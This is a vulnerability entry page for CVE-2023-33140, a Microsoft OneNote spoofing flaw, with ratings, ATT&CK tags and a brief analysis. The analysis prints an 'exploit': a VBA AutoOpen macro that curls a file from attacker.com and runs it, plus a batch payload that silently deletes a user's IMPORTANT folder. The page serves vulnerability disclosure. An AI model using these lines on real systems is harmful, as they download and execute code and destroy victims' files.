Moderate
CVE-2023-33140
CVE ID
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CVE-2023-33140
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Microsoft OneNote Spoofing Vulnerability
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Ratings
-
Attacker ValueMedium
-
ExploitabilityMedium
Technical Analysis
CVE-2023-33140
Description:
Microsoft OneNote is vulnerable to spoofing attacks. The malicious user can trick the victim into clicking on a very maliciously crafted URL or download some other malicious file and execute it. When this happens the game will be over for the victim and his computer will be compromised.
Exploiting the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft OneNote and then click on a specially crafted URL to be compromised by the attacker.
STATUS: 6.5 MEDIUM Vulnerability
[+]Exploit:
Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/kurec.badass > kurec.badass && .\kurec.badass", vbNormalFocus) End Sub
[+]Inside-exploit
@echo off del /s /q C:%HOMEPATH%\IMPORTANT\*
Reproduce:
Proof and Exploit:
Time spend:
01:15:00
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General Information
Vendors
- microsoft
Products
- onenote -
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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